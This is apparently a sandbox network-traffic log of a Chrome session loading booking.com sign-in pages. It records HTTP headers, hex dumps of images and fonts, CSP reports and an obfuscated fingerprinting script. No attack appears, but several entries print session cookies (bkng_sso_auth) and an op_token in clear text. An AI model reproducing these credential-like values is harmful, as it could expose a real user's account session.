secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=44089fd02fd30114&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgcqlyvtE53jUBl9Jefb7ZmuX1TKeE1yah1a1W_o7x01p; script-src saa.booking. [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Error from cloudfront Via: 1.1 968753ca270b3abbf31cdfc00e23b162.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: F6-dY43d_MVFNNt3uWyh1InJksQX6DRn4mETkpYbR5ec24G-4VRKmg==
2024-07-08 22:43:45 UTC	1621	IN	Data Raw: 36 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 Data Ascii: 64e<!DOCTYPE html><html lang="en"><head><title>405 - Method Not Allowed</title><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compat
2024-07-08 22:43:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49886	18.238.243.8	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	769	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Tue, 25 Jun 2024 14:00:11 GMT Last-Modified: Mon, 07 Sep 2020 10:40:08 GMT ETag: "5f560e08-282" Expires: Thu, 25 Jul 2024 14:00:11 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 ec2f767a4113b6a2b366ac7622dad01e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 X-Amz-Cf-Id: z5K2fYg98jaoR1dvIK36faitFKQwrHsk5FdH5qbOdqbVW-7P5EdlRQ== Age: 1154614
2024-07-08 22:43:45 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49890	18.164.96.49	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	569	OUT	GET /ec/c.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	690	IN	HTTP/1.1 304 Not Modified Content-Type: image/png Content-Length: 0 Connection: close date: Mon, 08 Jul 2024 22:43:45 GMT server: Perl Dancer2 0.300004 vary: Origin access-control-allow-headers: Cache-Control, If-None-Match, ETag, X-ecc, X-ece access-control-allow-methods: GET, OPTIONS access-control-allow-origin: https://account.booking.com access-control-max-age: 86400 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 52143757d25f4b31ebf04bc09765f6c0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: KwJ81uiEKAUs_7HPWAEEK0Guihm7Xjby3-qFb3LCg_0Nj7Byus-tzg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49881	18.65.39.105	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	573	OUT	GET /d8c14d4960ca/c2181391033f/challenge.js HTTP/1.1 Host: d8c14d4960ca.edge.sdk.awswaf.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	613	IN	HTTP/1.1 307 Temporary Redirect Server: CloudFront Date: Mon, 08 Jul 2024 22:43:45 GMT Content-Length: 0 Connection: close Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Access-Control-Max-Age: 86400 Cache-Control: max-age=86400 Location: https://d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js X-Cache: FunctionGeneratedResponse from cloudfront Via: 1.1 045d55468661252b6be78e701e36b492.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P1 X-Amz-Cf-Id: EbRKY41liCk5R0WhC3PWyNlUYlkU0ojKqTnx-9JcwVQ-co84QPNtew==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49889	18.164.96.49	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	569	OUT	GET /ec/e.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	680	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 0 Connection: close date: Mon, 08 Jul 2024 22:43:45 GMT server: Perl Dancer2 0.300004 vary: Origin access-control-allow-headers: Cache-Control, If-None-Match, ETag, X-ecc, X-ece access-control-allow-methods: GET, OPTIONS access-control-allow-origin: https://account.booking.com access-control-max-age: 86400 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 48fa2d8b9525abe889eff7ccc8591f7e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: p17z-DowG_Rwwg4-aFfvRWuED5zuLpke7IzEDUcJmnDrMFhOMizevg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49885	18.66.196.21	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	608	OUT	GET /design-assets/assets/v3.58.1/fonts-brand/BookingExtraBold.woff HTTP/1.1 Host: t-cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://account.booking.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cf.bstatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	586	IN	HTTP/1.1 200 OK Content-Type: font/woff Content-Length: 25328 Connection: close Last-Modified: Fri, 27 Jan 2023 14:42:26 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Mon, 08 Jul 2024 09:00:37 GMT ETag: "1ce83dba9b028d54997f401fcc88ee88" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5071afda1ab6f09c39c5873ced3e225c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MXP63-P1 X-Amz-Cf-Id: IIXUk8FYeIYWRRD90GlJ2sNzXVNMBqgHzgspYYrb2vkLHfcAH_TnTw== Age: 72625 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: *
2024-07-08 22:43:45 UTC	15798	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 62 f0 00 11 00 00 00 00 e5 b4 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 44 45 46 00 00 52 e4 00 00 00 92 00 00 00 d6 21 29 21 35 47 50 4f 53 00 00 53 78 00 00 0c 73 00 00 41 da 1f b5 56 b5 47 53 55 42 00 00 5f ec 00 00 03 01 00 00 08 4e 99 73 0a 3e 4f 53 2f 32 00 00 01 f8 00 00 00 59 00 00 00 60 68 06 44 c1 63 6d 61 70 00 00 05 88 00 00 03 05 00 00 04 3e e2 76 a0 63 63 76 74 20 00 00 0e 58 00 00 00 bb 00 00 0b f2 22 b7 18 47 66 70 67 6d 00 00 08 90 00 00 03 ab 00 00 06 d7 0a 30 87 36 67 61 73 70 00 00 52 d8 00 00 00 0c 00 00 00 0c 00 07 00 1b 67 6c 79 66 00 00 12 60 00 00 3f 80 00 00 72 9a 5c 26 03 a6 68 65 61 64 00 00 01 80 00 00 00 36 00 00 00 36 1c d7 85 50 68 68 65 61 00 00 01 b8 00 00 00 Data Ascii: wOFFbGDEFR!)!5GPOSSxsAVGSUB_Ns>OS/2Y`hDcmap>vccvt X"Gfpgm06gaspRglyf`?r\&head66Phhea
2024-07-08 22:43:45 UTC	9530	IN	Data Raw: dd 5f 1c d6 ab d5 1a 9f 6f 55 47 cb 78 ba 3c d7 ff e1 27 ce f5 d1 f9 73 7d f3 ff c9 5c bf 9c 86 5d 38 d5 67 be 50 4e c3 2e 9c ea 23 86 e6 b8 99 55 c4 86 1a 50 3b 5a 82 4e 3d 32 53 8d ef ad c6 d5 df 9b fb 47 ce a6 d1 e7 ab 83 83 b1 ec 90 c7 1f f7 93 27 21 82 f2 df 1b 39 1b 21 11 7a b7 07 ee 46 62 aa 45 83 36 a7 cc 61 88 1a c8 f3 06 fc 55 c3 63 06 62 33 60 83 1e 6e 1a 74 83 96 f5 4d b8 69 04 ea aa c8 61 8c 1a c9 57 8d 8f 19 7f 60 64 8c f4 ae 15 a4 c5 22 4b 8c c4 91 aa 28 20 e3 f0 86 47 39 31 1e 85 99 f4 6e 81 fa e8 b8 90 f3 2c 5e 03 46 fc 6f 89 72 7e 61 36 b4 c8 a6 a2 40 95 32 e8 41 31 3f fa 66 d3 28 cd a0 07 9a 69 06 bd cb 4f 33 e8 c9 61 8f 67 65 ed f9 09 d3 d6 ce 1d 7e db 08 6f 8f 3b 3d 90 5a c7 7c 29 7f ba 30 bd 6e 73 d8 1c 15 d9 d4 68 6d b4 76 67 5d 5d Data Ascii: _oUGx<'s}\]8gPN.#UP;ZN=2SG'!9!zFbE6aUcb3`ntMiaW`d"K( G91n,^For~a6@2A1?f(iO3age~o;=Z\|)0nshmvg]]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49893	18.164.96.48	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0 HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1902 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	1902	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4a 48 43 68 51 32 57 6a 63 79 62 30 68 50 5a 44 4d 32 54 6d 34 33 65 6d 73 7a 63 47 6c 79 61 42 49 4a 59 58 56 30 61 47 39 79 61 58 70 6c 47 68 70 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6b 62 57 6c 75 4c 6d 4a 76 62 32 74 70 62 6d 63 75 59 32 39 74 4c 79 6f 43 65 33 31 43 42 47 4e 76 5a 47 55 71 45 6a 44 64 33 62 53 53 75 66 34 6d 4f 67 42 43 41 46 6a 41 32 4d 32 78 42 67 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c 61 74 65 64 2d 64 69 72 65 63 74 69 76 65 22 3a 22 73 63 72 69 70 74 2d Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg","referrer":"","violated-directive":"script-
2024-07-08 22:43:46 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:45 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 cfc46590021b7df312893ffb67317bb2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: LDzZgZJmIp7u0eFkfjTNRri3jee6eWxZABAlOuOwaqBnKBvlqG2Mlw==
2024-07-08 22:43:46 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-08 22:43:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49891	18.164.96.48	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=274d9fcc793b012b&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23kgJ03VHUtWyW-H9Q7CKxuYnf7KzrqsVI0 HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 1796 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:45 UTC	1796	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4a 48 43 68 51 32 57 6a 63 79 62 30 68 50 5a 44 4d 32 54 6d 34 33 65 6d 73 7a 63 47 6c 79 61 42 49 4a 59 58 56 30 61 47 39 79 61 58 70 6c 47 68 70 6f 64 48 52 77 63 7a 6f 76 4c 32 46 6b 62 57 6c 75 4c 6d 4a 76 62 32 74 70 62 6d 63 75 59 32 39 74 4c 79 6f 43 65 33 31 43 42 47 4e 76 5a 47 55 71 45 6a 44 64 33 62 53 53 75 66 34 6d 4f 67 42 43 41 46 6a 41 32 4d 32 78 42 67 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c 61 74 65 64 2d 64 69 72 65 63 74 69 76 65 22 3a 22 63 6f 6e 6e 65 63 74 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg","referrer":"","violated-directive":"connect
2024-07-08 22:43:46 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:46 GMT x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 5ba825173b1f7429171e730e7ae12588.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P5 X-Amz-Cf-Id: eKmRAH9Fze_FnUOvyqs5oSNrnVB6wse5Q-vrwyWfWm21gO-Z7VK6Lg==
2024-07-08 22:43:46 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-07-08 22:43:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49894	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:46 UTC	1126	OUT	GET /y2qz8hihi22xeiak.js?tcqaxcajk2yh43z5=doregtzf&3ty6f8upqnjcq74g=77684019-483b-42ce-beed-be93d2ecec7a HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_session=e30; bkng_sso_ses=e30
2024-07-08 22:43:46 UTC	820	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:46 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Access-Control-Allow-Origin: * X-Robots-Tag: noindex, nofollow Set-Cookie: thx_guid=6b020f2f51991f3dd6eadec909c45d18; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; P3P: CP=IVAa PSAa Set-Cookie: tmx_guid=AAy7vzuwQTwF5RG-Ej1enTO9C1lcIhjQMiaW-gY6zQXmMx_MWV3fTK5VnEx9G5bUsWOH5QVRyLX5BH5DsoPuUp3B16Raig; Max-Age=155520000; Version=1; HttpOnly; Path=/; Secure; SameSite=None; Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:46 UTC	7372	IN	Data Raw: 31 66 66 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 64 5f 35 69 3d 74 64 5f 35 69 7c 7c 7b 7d 3b 74 64 5f 35 69 2e 74 64 5f 32 4d 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 66 2c 74 64 5f 54 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 61 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 75 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 42 3d 30 3b 74 64 5f 42 3c 74 64 5f 54 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 42 29 7b 74 64 5f 61 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 66 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 75 29 5e 74 64 5f 54 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 42 29 29 29 3b 74 64 5f 75 2b 2b 3b 0a 69 66 28 74 64 5f 75 3e 3d 74 64 5f 66 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 75 3d 30 3b 7d 7d 72 Data Ascii: 1ff8(function(){var td_5i=td_5i\|\|{};td_5i.td_2M=function(td_f,td_T){try{var td_a=[""];var td_u=0;for(var td_B=0;td_B<td_T.length;++td_B){td_a.push(String.fromCharCode(td_f.charCodeAt(td_u)^td_T.charCodeAt(td_B)));td_u++;if(td_u>=td_f.length){td_u=0;}}r
2024-07-08 22:43:46 UTC	818	IN	Data Raw: 33 30 5c 78 33 30 5c 78 36 34 5c 78 36 33 5c 78 36 34 5c 78 33 34 5c 78 33 35 5c 78 33 32 5c 78 33 32 5c 78 36 31 5c 78 33 37 5c 78 33 37 5c 78 33 35 5c 78 33 37 5c 78 36 32 5c 78 33 33 5c 78 33 31 5c 78 33 37 5c 78 33 34 5c 78 33 32 5c 78 33 31 5c 78 33 37 5c 78 36 34 5c 78 33 37 5c 78 33 30 5c 78 33 37 5c 78 33 31 22 29 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 6d 78 5f 72 75 6e 5f 70 61 67 65 5f 66 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 28 74 64 5f 59 4e 29 7b 69 66 28 74 79 70 65 6f 66 20 74 64 5f 59 4e 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 7b 74 64 5f 59 4e 28 28 28 74 79 70 65 6f 66 28 74 64 5f 35 69 2e 74 64 7a 5f 31 32 62 35 63 31 35 35 62 37 34 63 34 33 61 33 62 36 65 34 37 30 30 64 63 64 34 35 32 32 61 37 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 Data Ascii: 30\x30\x64\x63\x64\x34\x35\x32\x32\x61\x37\x37\x35\x37\x62\x33\x31\x37\x34\x32\x31\x37\x64\x37\x30\x37\x31");function tmx_run_page_fingerprinting(td_YN){if(typeof td_YN!==[][[]]+""){td_YN(((typeof(td_5i.tdz_12b5c155b74c43a3b6e4700dcd4522a7)!=="undefined"
2024-07-08 22:43:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:46 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 33 36 5c 78 33 37 5c 78 33 31 5c 78 33 34 5c 78 36 31 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 33 33 5c 78 33 31 5c 78 36 33 5c 78 33 36 5c 78 33 39 5c 78 33 31 5c 78 33 36 5c 78 33 35 5c 78 36 36 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 36 36 5c 78 33 35 5c 78 36 34 5c 78 33 34 5c 78 33 35 5c 78 33 35 5c 78 36 33 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 36 35 5c 78 33 30 5c 78 33 38 5c 78 33 31 5c 78 33 33 5c 78 33 35 5c 78 36 35 5c 78 33 35 5c 78 33 35 5c 78 33 34 5c 78 33 33 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 36 31 5c 78 33 30 5c 78 36 31 5c 78 33 30 5c 78 36 34 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 36 33 22 29 3b 0a 66 75 6e 63 74 69 6f 6e 20 74 64 5f 4b 28 74 64 5f 6a 2c 74 64 5f 55 2c 74 64 5f Data Ascii: 1ff836\x37\x31\x34\x61\x34\x32\x30\x33\x31\x63\x36\x39\x31\x36\x35\x66\x30\x64\x35\x66\x35\x64\x34\x35\x35\x63\x30\x30\x30\x65\x30\x38\x31\x33\x35\x65\x35\x35\x34\x33\x30\x33\x35\x64\x35\x61\x30\x61\x30\x64\x35\x37\x35\x63");function td_K(td_j,td_U,td_
2024-07-08 22:43:46 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
